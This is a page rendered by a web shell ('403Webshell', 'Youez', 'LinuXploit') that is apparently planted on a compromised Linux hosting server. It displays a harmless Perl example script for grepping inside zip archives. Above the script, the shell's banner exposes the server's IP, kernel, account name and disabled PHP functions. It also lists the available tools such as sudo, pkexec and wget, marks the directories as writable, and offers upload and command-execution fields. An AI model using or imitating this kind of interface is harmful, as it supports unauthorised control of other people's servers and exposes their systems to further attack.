403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Archive-Zip-1.30/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Archive-Zip-1.30/examples/zipGrep.pl
#!/usr/bin/perl -w
# This program searches for the given Perl regular expression in a Zip archive.
# Archive is assumed to contain text files.
# By Ned Konz, perl@bike-nomad.com
# Usage:
# 	perl zipGrep.pl 'pattern' myZip.zip
#
use strict;
use Archive::Zip qw(:CONSTANTS :ERROR_CODES);

if ( @ARGV != 2 )
{
	print <<EOF;
This program searches for the given Perl regular expression in a Zip archive.
Archive is assumed to contain text files.
Usage:
	perl $0 'pattern' myZip.zip
EOF
	exit 1;
}

my $pattern = shift;
$pattern = qr{$pattern};    # compile the regular expression
my $zipName = shift;

my $zip = Archive::Zip->new();
if ( $zip->read($zipName) != AZ_OK )
{
	die "Read error reading $zipName\n";
}

foreach my $member ( $zip->members() )
{
	my ( $bufferRef, $status, $lastChunk );
	my $memberName = $member->fileName();
	my $lineNumber = 1;
	$lastChunk = '';
	$member->desiredCompressionMethod(COMPRESSION_STORED);
	$status = $member->rewindData();
	die "rewind error $status" if $status != AZ_OK;

	while ( !$member->readIsDone() )
	{
		( $bufferRef, $status ) = $member->readChunk();
		die "readChunk error $status"
		  if $status != AZ_OK && $status != AZ_STREAM_END;

		my $buffer = $lastChunk . $$bufferRef;
		while ( $buffer =~ m{(.*$pattern.*\n)}mg )
		{
			print "$memberName:$1";
		}
		($lastChunk) = $$bufferRef =~ m{([^\n\r]+)\z};
	}

	$member->endRead();
}

Youez - 2016 - github.com/yon3zu
LinuXploit